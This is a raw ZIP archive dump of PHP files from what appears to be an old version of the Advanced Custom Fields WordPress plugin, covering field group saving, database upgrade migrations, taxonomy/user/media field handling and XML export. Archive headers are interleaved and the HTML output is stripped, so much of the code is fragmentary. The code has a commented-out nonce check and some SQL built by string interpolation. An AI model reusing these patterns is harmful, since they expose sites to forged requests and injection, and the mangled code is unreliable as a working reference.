$dont_delete[] = $field['key']; } } unset( $_POST['fields'] ); // delete all other field $keys = get_post_custom_keys($post_id); foreach( $keys as $key ) { if( strpos($key, 'field_') !== false && !in_array($key, $dont_delete) ) { // this is a field, and it wasn't found in the dont_delete array do_action('acf/delete_field', $post_id, $key); } } /* * save location rules */ if( isset($_POST['location']) && is_array($_POST['location']) ) { delete_post_meta( $post_id, 'rule' ); // clean array keys $_POST['location'] = array_values( $_POST['location'] ); foreach( $_POST['location'] as $group_id => $group ) { if( is_array($group) ) { // clean array keys $group = array_values( $group ); foreach( $group as $rule_id => $rule ) { $rule['order_no'] = $rule_id; $rule['group_no'] = $group_id; add_post_meta( $post_id, 'rule', $rule ); } } } unset( $_POST['location'] ); } /* * save options */ if( isset($_POST['options']) && is_array($_POST['options']) ) { update_post_meta($post_id, 'position', $_POST['options']['position']); update_post_meta($post_id, 'layout', $_POST['options']['layout']); update_post_meta($post_id, 'hide_on_screen', $_POST['options']['hide_on_screen']); } unset( $_POST['options'] ); } } new acf_field_group(); ?>PK;hZNCCcontrollers/upgrade.phpnuW+A= $plugin_version if( version_compare( $acf_version, $plugin_version, '>=') ) { return; } // update version update_option('acf_version', $plugin_version ); // update admin page add_submenu_page('edit.php?post_type=acf', __('Upgrade','acf'), __('Upgrade','acf'), 'manage_options','acf-upgrade', array($this,'html') ); } /* * html * * @description: * @since 3.1.8 * @created: 23/06/12 */ function html() { $version = get_option('acf_version','1.0.5'); $next = false; // list of starting points if( $version < '3.0.0' ) { $next = '3.0.0'; } elseif( $version < '3.1.8' ) { $next = '3.1.8'; } elseif( $version < '3.2.5' ) { $next = '3.2.5'; } elseif( $version < '3.3.3' ) { $next = '3.3.3'; } elseif( $version < '3.4.1' ) { $next = '3.4.1'; } ?> No Upgrade Required

    '; } } /* * upgrade_ajax * * @description: * @since 3.1.8 * @created: 23/06/12 */ function upgrade_ajax() { // global global $wpdb; // tables $acf_fields = $wpdb->prefix.'acf_fields'; $acf_values = $wpdb->prefix.'acf_values'; $acf_rules = $wpdb->prefix.'acf_rules'; $wp_postmeta = $wpdb->prefix.'postmeta'; $wp_options = $wpdb->prefix.'options'; // vars $return = array( 'status' => false, 'message' => "", 'next' => false, ); // versions switch($_POST['version']) { /*--------------------- * * 3.0.0 * *--------------------*/ case '3.0.0': // upgrade options first as "field_group_layout" will cause get_fields to fail! // get acf's $acfs = get_posts(array( 'numberposts' => -1, 'post_type' => 'acf', 'orderby' => 'menu_order title', 'order' => 'asc', 'suppress_filters' => false, )); if($acfs) { foreach($acfs as $acf) { // position update_post_meta($acf->ID, 'position', 'normal'); //layout $layout = get_post_meta($acf->ID, 'field_group_layout', true) ? get_post_meta($acf->ID, 'field_group_layout', true) : 'in_box'; if($layout == 'in_box') { $layout = 'default'; } else { $layout = 'no_box'; } update_post_meta($acf->ID, 'layout', $layout); delete_post_meta($acf->ID, 'field_group_layout'); // show_on_page $show_on_page = get_post_meta($acf->ID, 'show_on_page', true) ? get_post_meta($acf->ID, 'show_on_page', true) : array(); if($show_on_page) { $show_on_page = unserialize($show_on_page); } update_post_meta($acf->ID, 'show_on_page', $show_on_page); } } $return = array( 'status' => true, 'message' => "Migrating Options...", 'next' => '3.0.0 (step 2)', ); break; /*--------------------- * * 3.0.0 * *--------------------*/ case '3.0.0 (step 2)': // get acf's $acfs = get_posts(array( 'numberposts' => -1, 'post_type' => 'acf', 'orderby' => 'menu_order title', 'order' => 'asc', 'suppress_filters' => false, )); if($acfs) { foreach($acfs as $acf) { // allorany doesn't need to change! $rules = $wpdb->get_results("SELECT * FROM $acf_rules WHERE acf_id = '$acf->ID' ORDER BY order_no ASC", ARRAY_A); if($rules) { foreach($rules as $rule) { // options rule has changed if($rule['param'] == 'options_page') { $rule['value'] = 'Options'; } add_post_meta($acf->ID, 'rule', $rule); } } } } $return = array( 'status' => true, 'message' => "Migrating Location Rules...", 'next' => '3.0.0 (step 3)', ); break; /*--------------------- * * 3.0.0 * *--------------------*/ case '3.0.0 (step 3)': $message = "Migrating Fields?"; $parent_id = 0; $fields = $wpdb->get_results("SELECT * FROM $acf_fields WHERE parent_id = $parent_id ORDER BY order_no, name", ARRAY_A); if($fields) { // loop through fields foreach($fields as $field) { // unserialize options if(@unserialize($field['options'])) { $field['options'] = unserialize($field['options']); } else { $field['options'] = array(); } // sub fields if($field['type'] == 'repeater') { $field['options']['sub_fields'] = array(); $parent_id = $field['id']; $sub_fields = $wpdb->get_results("SELECT * FROM $acf_fields WHERE parent_id = $parent_id ORDER BY order_no, name", ARRAY_A); // if fields are empty, this must be a new or broken acf. if(empty($sub_fields)) { $field['options']['sub_fields'] = array(); } else { // loop through fields foreach($sub_fields as $sub_field) { // unserialize options if(@unserialize($sub_field['options'])) { $sub_field['options'] = @unserialize($sub_field['options']); } else { $sub_field['options'] = array(); } // merge options with field $sub_field = array_merge($sub_field, $sub_field['options']); unset($sub_field['options']); // each field has a unique id! if(!isset($sub_field['key'])) $sub_field['key'] = 'field_' . $sub_field['id']; $field['options']['sub_fields'][] = $sub_field; } } } // end if sub field // merge options with field $field = array_merge($field, $field['options']); unset($field['options']); // each field has a unique id! if(!isset($field['key'])) $field['key'] = 'field_' . $field['id']; // update field $this->parent->update_field( $field['post_id'], $field); // create field name (field_rand) //$message .= print_r($field, true) . '

    '; } // end foreach $fields } $return = array( 'status' => true, 'message' => $message, 'next' => '3.0.0 (step 4)', ); break; /*--------------------- * * 3.0.0 * *--------------------*/ case '3.0.0 (step 4)': $message = "Migrating Values..."; // update normal values $values = $wpdb->get_results("SELECT v.field_id, m.post_id, m.meta_key, m.meta_value FROM $acf_values v LEFT JOIN $wp_postmeta m ON v.value = m.meta_id WHERE v.sub_field_id = 0", ARRAY_A); if($values) { foreach($values as $value) { // options page if($value['post_id'] == 0) $value['post_id'] = 999999999; // unserialize value (relationship, multi select, etc) if(@unserialize($value['meta_value'])) { $value['meta_value'] = unserialize($value['meta_value']); } update_post_meta($value['post_id'], $value['meta_key'], $value['meta_value']); update_post_meta($value['post_id'], '_' . $value['meta_key'], 'field_' . $value['field_id']); } } // update repeater values $values = $wpdb->get_results("SELECT v.field_id, v.sub_field_id, v.order_no, m.post_id, m.meta_key, m.meta_value FROM $acf_values v LEFT JOIN $wp_postmeta m ON v.value = m.meta_id WHERE v.sub_field_id != 0", ARRAY_A); if($values) { $rows = array(); foreach($values as $value) { // update row count $row = (int) $value['order_no'] + 1; // options page if($value['post_id'] == 0) $value['post_id'] = 999999999; // unserialize value (relationship, multi select, etc) if(@unserialize($value['meta_value'])) { $value['meta_value'] = unserialize($value['meta_value']); } // current row $current_row = isset($rows[$value['post_id']][$value['field_id']]) ? $rows[$value['post_id']][$value['field_id']] : 0; if($row > $current_row) $rows[$value['post_id']][$value['field_id']] = (int) $row; // get field name $field_name = $wpdb->get_var($wpdb->prepare("SELECT name FROM $acf_fields WHERE id = %d", $value['field_id'])); // get sub field name $sub_field_name = $wpdb->get_var($wpdb->prepare("SELECT name FROM $acf_fields WHERE id = %d", $value['sub_field_id'])); // save new value $new_meta_key = $field_name . '_' . $value['order_no'] . '_' . $sub_field_name; update_post_meta($value['post_id'], $new_meta_key , $value['meta_value']); // save value hidden field id update_post_meta($value['post_id'], '_' . $new_meta_key, 'field_' . $value['sub_field_id']); } foreach($rows as $post_id => $field_ids) { foreach($field_ids as $field_id => $row_count) { // get sub field name $field_name = $wpdb->get_var($wpdb->prepare("SELECT name FROM $acf_fields WHERE id = %d", $field_id)); delete_post_meta($post_id, $field_name); update_post_meta($post_id, $field_name, $row_count); update_post_meta($post_id, '_' . $field_name, 'field_' . $field_id); } } } // update version (only upgrade 1 time) update_option('acf_version','3.0.0'); $return = array( 'status' => true, 'message' => $message, 'next' => '3.1.8', ); break; /*--------------------- * * 3.1.8 * *--------------------*/ case '3.1.8': // vars $message = __("Migrating options values from the $wp_postmeta table to the $wp_options table",'acf') . '...'; // update normal values $rows = $wpdb->get_results( $wpdb->prepare("SELECT meta_key FROM $wp_postmeta WHERE post_id = %d", 999999999) , ARRAY_A); if($rows) { foreach($rows as $row) { // original name $field_name = $row['meta_key']; // name $new_name = ""; if( substr($field_name, 0, 1) == "_" ) { $new_name = '_options' . $field_name; } else { $new_name = 'options_' . $field_name; } // value $value = get_post_meta( 999999999, $field_name, true ); // update option update_option( $new_name, $value ); // deleet old postmeta delete_post_meta( 999999999, $field_name ); } // foreach($values as $value) } // if($values) // update version update_option('acf_version','3.1.8'); $return = array( 'status' => true, 'message' => $message, 'next' => '3.2.5', ); break; /*--------------------- * * 3.1.8 * *--------------------*/ case '3.2.5': // vars $message = __("Modifying field group options 'show on page'",'acf') . '...'; // get acf's $acfs = get_posts(array( 'numberposts' => -1, 'post_type' => 'acf', 'orderby' => 'menu_order title', 'order' => 'asc', 'suppress_filters' => false, )); $show_all = array('the_content', 'discussion', 'custom_fields', 'comments', 'slug', 'author'); // populate acfs if($acfs) { foreach($acfs as $acf) { $show_on_page = get_post_meta($acf->ID, 'show_on_page', true) ? get_post_meta($acf->ID, 'show_on_page', true) : array(); $hide_on_screen = array_diff($show_all, $show_on_page); update_post_meta($acf->ID, 'hide_on_screen', $hide_on_screen); delete_post_meta($acf->ID, 'show_on_page'); } } // update version update_option('acf_version','3.2.5'); $return = array( 'status' => true, 'message' => $message, 'next' => '3.3.3', ); break; /* * 3.3.3 * * @description: changed field option: taxonomies filter on relationship / post object and page link fields. * @created: 20/07/12 */ case '3.3.3': // vars $message = __("Modifying field option 'taxonomy'",'acf') . '...'; $wp_term_taxonomy = $wpdb->prefix.'term_taxonomy'; $term_taxonomies = array(); $rows = $wpdb->get_results("SELECT * FROM $wp_term_taxonomy", ARRAY_A); if($rows) { foreach($rows as $row) { $term_taxonomies[ $row['term_id'] ] = $row['taxonomy'] . ":" . $row['term_id']; } } // get acf's $acfs = get_posts(array( 'numberposts' => -1, 'post_type' => 'acf', 'orderby' => 'menu_order title', 'order' => 'asc', 'suppress_filters' => false, )); // populate acfs if($acfs) { foreach($acfs as $acf) { $fields = $this->parent->get_acf_fields($acf->ID); if( $fields ) { foreach( $fields as $field ) { // only edit the option: taxonomy if( !isset($field['taxonomy']) ) { continue; } if( is_array($field['taxonomy']) ) { foreach( $field['taxonomy'] as $k => $v ) { // could be "all" if( !is_numeric($v) ) { continue; } $field['taxonomy'][ $k ] = $term_taxonomies[ $v ]; } // foreach( $field['taxonomy'] as $k => $v ) } // if( $field['taxonomy'] ) $this->parent->update_field( $acf->ID, $field); } // foreach( $fields as $field ) } // if( $fields ) } // foreach($acfs as $acf) } // if($acfs) // update version update_option('acf_version','3.3.3'); $return = array( 'status' => true, 'message' => $message, 'next' => '3.4.1', ); break; /* * 3.4.1 * * @description: Move user custom fields from wp_options to wp_usermeta * @created: 20/07/12 */ case '3.4.1': // vars $message = __("Moving user custom fields from wp_options to wp_usermeta",'acf') . '...'; $option_row_ids = array(); $option_rows = $wpdb->get_results("SELECT option_id, option_name, option_value FROM $wpdb->options WHERE option_name LIKE 'user%' OR option_name LIKE '\_user%'", ARRAY_A); if( $option_rows ) { foreach( $option_rows as $k => $row) { preg_match('/user_([0-9]+)_(.*)/', $row['option_name'], $matches); // if no matches, this is not an acf value, ignore it if( !$matches ) { continue; } // add to $delete_option_rows $option_row_ids[] = $row['option_id']; // meta_key prefix $meta_key_prefix = ""; if( substr($row['option_name'], 0, 1) == "_" ) { $meta_key_prefix = '_'; } // update user meta update_user_meta( $matches[1], $meta_key_prefix . $matches[2], $row['option_value'] ); } } // clear up some memory ( aprox 14 kb ) unset( $option_rows ); // remove $option_row_ids if( $option_row_ids ) { $option_row_ids = implode(', ', $option_row_ids); $wpdb->query("DELETE FROM $wpdb->options WHERE option_id IN ($option_row_ids)"); } // update version update_option('acf_version','3.4.1'); $return = array( 'status' => true, 'message' => $message, 'next' => false, ); break; } // return json echo json_encode($return); die; } } new acf_upgrade(); ?>PK;hZEJJ!controllers/everything_fields.phpnuW+Adata = array( 'page_id' => '', // a string used to load values 'metabox_ids' => array(), 'page_type' => '', // taxonomy / user / media 'page_action' => '', // add / edit 'option_name' => '', // key used to find value in wp_options table. eg: user_1, category_4 ); // actions add_action('admin_menu', array($this,'admin_menu')); add_action('wp_ajax_acf/everything_fields', array($this, 'acf_everything_fields')); // attachment add_filter('attachment_fields_to_edit', array($this, 'attachment_fields_to_edit'), 10, 2); add_filter('attachment_fields_to_save', array($this, 'save_attachment'), 10, 2); // save add_action('create_term', array($this, 'save_taxonomy')); add_action('edited_term', array($this, 'save_taxonomy')); add_action('edit_user_profile_update', array($this, 'save_user')); add_action('personal_options_update', array($this, 'save_user')); add_action('user_register', array($this, 'save_user')); // shopp add_action('shopp_category_saved', array($this, 'shopp_category_saved')); // delete add_action('delete_term', array($this, 'delete_term'), 10, 4); } /* * attachment_fields_to_edit * * Adds ACF fields to the attachment form fields * * @type filter * @date 14/07/13 * * @param {array} $form_fields * @return {object} $post */ function attachment_fields_to_edit( $form_fields, $post ) { // vars $screen = get_current_screen(); $post_id = $post->ID; if( $screen && $screen->base == 'post' ) { return $form_fields; } // get field groups $filter = array( 'post_type' => 'attachment' ); $metabox_ids = array(); $metabox_ids = apply_filters( 'acf/location/match_field_groups', $metabox_ids, $filter ); // validate if( empty($metabox_ids) ) { return $form_fields; } $acfs = apply_filters('acf/get_field_groups', array()); if( is_array($acfs) ){ foreach( $acfs as $acf ){ // only add the chosen field groups if( !in_array( $acf['id'], $metabox_ids ) ) { continue; } // load fields $fields = apply_filters('acf/field_group/get_fields', array(), $acf['id']); if( is_array($fields) ){ foreach( $fields as $i => $field ){ // if they didn't select a type, skip this field if( !$field || !$field['type'] || $field['type'] == 'null' ) { continue; } // set value if( !isset($field['value']) ) { $field['value'] = apply_filters('acf/load_value', false, $post_id, $field); $field['value'] = apply_filters('acf/format_value', $field['value'], $post_id, $field); } // create field $field['name'] = 'fields[' . $field['key'] . ']'; ob_start(); do_action('acf/create_field', $field); $html = ob_get_contents(); ob_end_clean(); $form_fields[ $field['name'] ] = array( 'label' => $field['label'], 'input' => 'html', 'html' => $html ); }}; }} // return return $form_fields; } /* * save_attachment * * Triggers the acf/save_post action * * @type action * @date 14/07/13 * * @param {array} $post * @return {array} $attachment */ function save_attachment( $post, $attachment ) { // verify nonce /* if( !isset($_POST['acf_nonce']) || !wp_verify_nonce($_POST['acf_nonce'], 'input') ) { return $post; } */ // $post_id to save against $post_id = $post['ID']; // update the post do_action('acf/save_post', $post_id); return $post; } /* * validate_page * * @description: returns true | false. Used to stop a function from continuing * @since 3.2.6 * @created: 23/06/12 */ function validate_page() { // global global $pagenow, $wp_version; // vars $return = false; // validate page if( in_array( $pagenow, array( 'edit-tags.php', 'term.php', 'profile.php', 'user-new.php', 'user-edit.php', 'media.php' ) ) ) { $return = true; } // validate page (Shopp) if( $pagenow == "admin.php" && isset( $_GET['page'], $_GET['id'] ) && $_GET['page'] == "shopp-categories" ) { $return = true; } // WP4 if( $pagenow === 'upload.php' && version_compare($wp_version, '4.0', '>=') ) { $return = true; } // return return $return; } /*-------------------------------------------------------------------------------------- * * admin_menu * * @author Elliot Condon * @since 3.1.8 * *-------------------------------------------------------------------------------------*/ function admin_menu() { global $pagenow; // validate page if( ! $this->validate_page() ) return; // set page type $filter = array(); if( $pagenow == "admin.php" && isset( $_GET['page'], $_GET['id'] ) && $_GET['page'] == "shopp-categories" ) { // filter $_GET['id'] = filter_var($_GET['id'], FILTER_SANITIZE_STRING); $this->data['page_type'] = "shopp_category"; $filter['ef_taxonomy'] = "shopp_category"; $this->data['page_action'] = "add"; $this->data['option_name'] = ""; if( $_GET['id'] != "new" ) { $this->data['page_action'] = "edit"; $this->data['option_name'] = "shopp_category_" . $_GET['id']; } } elseif( $pagenow == "edit-tags.php" || $pagenow == "term.php" ) { // vars $taxonomy = 'post_tag'; $term_id = 0; // $_GET if( !empty($_GET['taxonomy']) ) { $taxonomy = filter_var($_GET['taxonomy'], FILTER_SANITIZE_STRING); } if( !empty($_GET['tag_ID']) ) { $term_id = filter_var($_GET['tag_ID'], FILTER_SANITIZE_NUMBER_INT); } // update filter $filter['ef_taxonomy'] = $taxonomy; // add $this->data['page_type'] = "taxonomy"; $this->data['page_action'] = "add"; $this->data['option_name'] = ""; // edit if( $term_id ) { $this->data['page_action'] = "edit"; $this->data['option_name'] = $taxonomy . "_" . $term_id; } } elseif( $pagenow == "profile.php" ) { $this->data['page_type'] = "user"; $filter['ef_user'] = get_current_user_id(); $this->data['page_action'] = "edit"; $this->data['option_name'] = "user_" . get_current_user_id(); } elseif( $pagenow == "user-edit.php" && isset($_GET['user_id']) ) { // filter $_GET['user_id'] = filter_var($_GET['user_id'], FILTER_SANITIZE_NUMBER_INT); $this->data['page_type'] = "user"; $filter['ef_user'] = $_GET['user_id']; $this->data['page_action'] = "edit"; $this->data['option_name'] = "user_" . $_GET['user_id']; } elseif( $pagenow == "user-new.php" ) { $this->data['page_type'] = "user"; $filter['ef_user'] ='all'; $this->data['page_action'] = "add"; $this->data['option_name'] = ""; } elseif( $pagenow == "media.php" || $pagenow == 'upload.php' ) { $this->data['page_type'] = "media"; $filter['post_type'] = 'attachment'; $this->data['page_action'] = "add"; $this->data['option_name'] = ""; if(isset($_GET['attachment_id'])) { // filter $_GET['attachment_id'] = filter_var($_GET['attachment_id'], FILTER_SANITIZE_NUMBER_INT); $this->data['page_action'] = "edit"; $this->data['option_name'] = $_GET['attachment_id']; } } // get field groups $metabox_ids = array(); $this->data['metabox_ids'] = apply_filters( 'acf/location/match_field_groups', $metabox_ids, $filter ); // dont continue if no ids were found if( empty( $this->data['metabox_ids'] ) ) { return false; } // actions add_action('admin_enqueue_scripts', array($this,'admin_enqueue_scripts')); add_action('admin_head', array($this,'admin_head')); } /* * admin_enqueue_scripts * * @description: * @since: 3.6 * @created: 30/01/13 */ function admin_enqueue_scripts() { do_action('acf/input/admin_enqueue_scripts'); } /*-------------------------------------------------------------------------------------- * * admin_head * * @author Elliot Condon * @since 3.1.8 * *-------------------------------------------------------------------------------------*/ function admin_head() { global $pagenow; // add user js + css do_action('acf/input/admin_head'); ?> id; // update the post do_action('acf/save_post', $post_id); } /*-------------------------------------------------------------------------------------- * * acf_everything_fields * * @description Ajax call that renders the html needed for the page * @author Elliot Condon * @since 3.1.8 * *-------------------------------------------------------------------------------------*/ function acf_everything_fields() { // defaults $defaults = array( 'metabox_ids' => '', 'page_type' => '', 'page_action' => '', 'option_name' => '', ); // load post options $options = array_merge($defaults, $_POST); // metabox ids is a string with commas $options['metabox_ids'] = explode( ',', $options['metabox_ids'] ); // get acfs $acfs = apply_filters('acf/get_field_groups', false); // layout $layout = 'tr'; if( $options['page_type'] == "taxonomy" && $options['page_action'] == "add") { $layout = 'div'; } if( $options['page_type'] == "shopp_category") { $layout = 'metabox'; } if( $acfs ) { foreach( $acfs as $acf ) { // load options $acf['options'] = apply_filters('acf/field_group/get_options', array(), $acf['id']); // only add the chosen field groups if( !in_array( $acf['id'], $options['metabox_ids'] ) ) { continue; } // layout dictates heading $title = true; if( $acf['options']['layout'] == 'no_box' ) { $title = false; } // title if( $options['page_action'] == "edit" && $options['page_type'] == 'user' ) { if( $title ) { echo '

    ' .$acf['title'] . '

    '; } echo ''; } // wrapper if( $layout == 'tr' ) { //nonce echo ''; } else { //nonce echo ''; } if( $layout == 'metabox' ) { echo '
    '; echo '

    ' . $acf['title'] . '

    '; echo '
    '; } // load fields $fields = apply_filters('acf/field_group/get_fields', array(), $acf['id']); if( is_array($fields) ){ foreach( $fields as $field ){ // if they didn't select a type, skip this field if( !$field['type'] || $field['type'] == 'null' ) continue; // set value if( !isset($field['value']) ) { $field['value'] = apply_filters('acf/load_value', false, $options['option_name'], $field); $field['value'] = apply_filters('acf/format_value', $field['value'], $options['option_name'], $field); } // required $required_class = ""; $required_label = ""; if( $field['required'] ) { $required_class = ' required'; $required_label = ' *'; } if( $layout == 'metabox' ) { echo '
    '; echo '

    '; echo ''; echo $field['instructions']; echo '

    '; $field['name'] = 'fields[' . $field['key'] . ']'; do_action('acf/create_field', $field); echo '
    '; } elseif( $layout == 'div' ) { echo '
    '; echo ''; $field['name'] = 'fields[' . $field['key'] . ']'; do_action('acf/create_field', $field ); if($field['instructions']) echo '

    ' . $field['instructions'] . '

    '; echo '
    '; } else { echo '
    '; echo ''; echo ''; echo ''; } }} // wrapper if( $layout == 'metabox' ) { echo ''; } // title if( $options['page_action'] == "edit" && $options['page_type'] == 'user' ) { echo '
    '; $field['name'] = 'fields[' . $field['key'] . ']'; do_action('acf/create_field', $field ); if($field['instructions']) echo '

    ' . $field['instructions'] . '

    '; echo '
    '; } } // foreach($acfs as $acf) } // if($acfs) // exit for ajax die(); } /* * delete_term * * @description: * @since: 3.5.7 * @created: 12/01/13 */ function delete_term( $term, $tt_id, $taxonomy, $deleted_term ) { // globals global $wpdb; // vars $search = $taxonomy . '_' . $term . '_%'; $_search = '_' . $search; // escape '_' // http://stackoverflow.com/questions/2300285/how-do-i-escape-in-sql-server $search = str_replace('_', '\_', $search); $_search = str_replace('_', '\_', $_search); // delete $result = $wpdb->query($wpdb->prepare( "DELETE FROM $wpdb->options WHERE option_name LIKE %s OR option_name LIKE %s", $search, $_search )); } } new acf_everything_fields(); ?>PK;hZ0{{controllers/.htaccessnuW+A Order allow,deny Deny from all PK;hZactions/export.phpnuW+A array(), 'nonce' => '' ); $my_options = array_merge( $defaults, $_POST ); // validate nonce if( !wp_verify_nonce($my_options['nonce'], 'export') ) { wp_die(__("Error",'acf')); } // check for posts if( empty($my_options['acf_posts']) ) { wp_die(__("No ACF groups selected",'acf')); } /** * Version number for the export format. * * Bump this when something changes that might affect compatibility. * * @since 2.5.0 */ define( 'WXR_VERSION', '1.1' ); /* * fix_line_breaks * * This function will loop through all array pieces and correct double line breaks from DB to XML * * @type function * @date 2/12/2013 * @since 5.0.0 * * @param $v (mixed) * @return $v (mixed) */ function fix_line_breaks( $v ) { if( is_array($v) ) { foreach( array_keys($v) as $k ) { $v[ $k ] = fix_line_breaks( $v[ $k ] ); } } elseif( is_string($v) ) { $v = str_replace("\r\n", "\r", $v); } return $v; } /** * Wrap given string in XML CDATA tag. * * @since 2.1.0 * * @param string $str String to wrap in XML CDATA tag. */ function wxr_cdata( $str ) { if ( seems_utf8( $str ) == false ) $str = utf8_encode( $str ); // $str = ent2ncr(esc_html($str)); $str = "'; return $str; } /** * Return the URL of the site * * @since 2.5.0 * * @return string Site URL. */ function wxr_site_url() { // ms: the base url if ( is_multisite() ) return network_home_url(); // wp: the blog url else return get_site_url(); } /** * Output a tag_description XML tag from a given tag object * * @since 2.3.0 * * @param object $tag Tag Object */ function wxr_tag_description( $tag ) { if ( empty( $tag->description ) ) return; echo '' . wxr_cdata( $tag->description ) . ''; } /** * Output a term_name XML tag from a given term object * * @since 2.9.0 * * @param object $term Term Object */ function wxr_term_name( $term ) { if ( empty( $term->name ) ) return; echo '' . wxr_cdata( $term->name ) . ''; } /** * Output a term_description XML tag from a given term object * * @since 2.9.0 * * @param object $term Term Object */ function wxr_term_description( $term ) { if ( empty( $term->description ) ) return; echo '' . wxr_cdata( $term->description ) . ''; } /** * Output list of authors with posts * * @since 3.1.0 */ function wxr_authors_list() { global $wpdb; $authors = array(); $results = $wpdb->get_results( "SELECT DISTINCT post_author FROM $wpdb->posts" ); foreach ( (array) $results as $result ) $authors[] = get_userdata( $result->post_author ); $authors = array_filter( $authors ); foreach( $authors as $author ) { echo "\t"; echo '' . $author->ID . ''; echo '' . $author->user_login . ''; echo '' . $author->user_email . ''; echo '' . wxr_cdata( $author->display_name ) . ''; echo '' . wxr_cdata( $author->user_firstname ) . ''; echo '' . wxr_cdata( $author->user_lastname ) . ''; echo "\n"; } } header( 'Content-Description: File Transfer' ); header( 'Content-Disposition: attachment; filename=advanced-custom-field-export.xml' ); header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), true ); echo '\n"; ?> <?php bloginfo_rss( 'name' ); ?> in_the_loop = true; // Fake being in the loop. // create SQL with %d placeholders $where = 'WHERE ID IN (' . substr(str_repeat('%d,', count($my_options['acf_posts'])), 0, -1) . ')'; // now prepare the SQL based on the %d + $_POST data $posts = $wpdb->get_results( $wpdb->prepare("SELECT * FROM {$wpdb->posts} $where", $my_options['acf_posts'])); // Begin Loop foreach ( $posts as $post ) { setup_postdata( $post ); ?> <?php echo apply_filters( 'the_title_rss', $post->post_title ); ?> ID; ?> post_date; ?> post_date_gmt; ?> comment_status; ?> ping_status; ?> post_name; ?> post_status; ?> post_parent; ?> menu_order; ?> post_type; ?> post_password; ?> get_results( $wpdb->prepare( "SELECT * FROM $wpdb->postmeta WHERE post_id = %d", $post->ID ) ); foreach( $postmeta as $meta ) : if ( $meta->meta_key != '_edit_lock' ) : $meta->meta_value = maybe_unserialize( $meta->meta_value ); $meta->meta_value = fix_line_breaks( $meta->meta_value ); $meta->meta_value = maybe_serialize( $meta->meta_value ); ?> meta_key; ?> meta_value ); ?> PK;hZ0{{actions/.htaccessnuW+A Order allow,deny Deny from all PK;hZ0{{ .htaccessnuW+A Order allow,deny Deny from all PK;hZviews/index.phpnuW+APK;hZo ``views/meta_box_location.phpnuW+APK;hZ0{{views/.htaccessnuW+APK;hZvD)D)}views/meta_box_fields.phpnuW+APK;hZT  Cviews/meta_box_options.phpnuW+APK;hZ=/h&h&Nfields/image.phpnuW+APK;hZ_[ufields/message.phpnuW+APK;hZTK5|fields/textarea.phpnuW+APK;hZ-,(,(*fields/date_picker/jquery.ui.datepicker.jsnuW+APK;hZii92fields/date_picker/images/ui-bg_glass_65_ffffff_1x400.pngnuW+APK;hZYo9fields/date_picker/images/ui-bg_flat_75_ffffff_40x100.pngnuW+APK;hZ4OOAfields/date_picker/images/ui-bg_highlight-soft_0_444444_1x100.pngnuW+APK;hZ5ߺfields/date_picker/images/ui-icons_888888_256x240.pngnuW+APK;hZ75Ufields/date_picker/images/ui-icons_222222_256x240.pngnuW+APK;hZ*s9fields/date_picker/images/ui-bg_flat_55_5bc6f5_40x100.pngnuW+APK;hZw5 fields/date_picker/images/ui-icons_cd0a0a_256x240.pngnuW+APK;hZeww9fields/date_picker/images/ui-bg_glass_95_fef1ec_1x400.pngnuW+APK;hZ-nnn9_fields/date_picker/images/ui-bg_glass_75_e6e6e6_1x400.pngnuW+APK;hZ556fields/date_picker/images/ui-icons_454545_256x240.pngnuW+APK;hZdʹ8fields/date_picker/images/ui-bg_flat_0_aaaaaa_40x100.pngnuW+APK;hZ|85fields/date_picker/images/ui-icons_2e83ff_256x240.pngnuW+APK;hZ0{{#>fields/date_picker/images/.htaccessnuW+APK;hZۇoo9 fields/date_picker/images/ui-bg_glass_75_dadada_1x400.pngnuW+APK;hZ C"fields/date_picker/date_picker.phpnuW+APK;hZRIfIf(2*fields/date_picker/style.date_picker.cssnuW+APK;hZ0{{Ӑfields/date_picker/.htaccessnuW+APK;hZM>ɰfields/select.phpnuW+APK;hZ)[ ޯfields/email.phpnuW+APK;hZ+22fields/_functions.phpnuW+APK;hZ_΂Kfields/page_link.phpnuW+APK;hZFafields/user.phpnuW+APK;hZe5'5'ffields/wysiwyg.phpnuW+APK;hZbvvFfields/radio.phpnuW+APK;hZm_fields/index.phpnuW+APK;hZRH7] ] gfields/password.phpnuW+APK;hZ=nsfields/google-map.phpnuW+APK;hZxfields/color_picker.phpnuW+APK;hZ\(GGfields/relationship.phpnuW+APK;hZ'fields/_base.phpnuW+APK;hZJd^*^*fields/post_object.phpnuW+APK;hZ^mmfields/text.phpnuW+APK;hZF%22c.fields/taxonomy.phpnuW+APK;hZQ[[Gafields/tab.phpnuW+APK;hZזK K gfields/true_false.phpnuW+APK;hZXHAApsfields/dummy.phpnuW+APK;hZ Zfields/checkbox.phpnuW+APK;hZ05 5 Ûfields/file.phpnuW+APK;hZπ7fields/number.phpnuW+APK;hZ0{{fields/.htaccessnuW+APK;hZ;'  early-access.phpnuW+APK;hZ< MMapi.phpnuW+APK;hZ#%-%-ncontrollers/post.phpnuW+APK;hZo"I"Icontrollers/location.phpnuW+APK;hZͧ,,Scontrollers/export.phpnuW+APK;hZfbtN N controllers/input.phpnuW+APK;hZ+44-controllers/third_party.phpnuW+APK;hZv2 -controllers/addons.phpnuW+APK;hZ= Kcontrollers/revisions.phpnuW+APK;hZ'/A/A)bcontrollers/field_groups.phpnuW+APK;hZfIIcontrollers/field_group.phpnuW+APK;hZNCCcontrollers/upgrade.phpnuW+APK;hZEJJ!1controllers/everything_fields.phpnuW+APK;hZ0{{{controllers/.htaccessnuW+APK;hZ|actions/export.phpnuW+APK;hZ0{{actions/.htaccessnuW+APK;hZ0{{ @.htaccessnuW+APKBB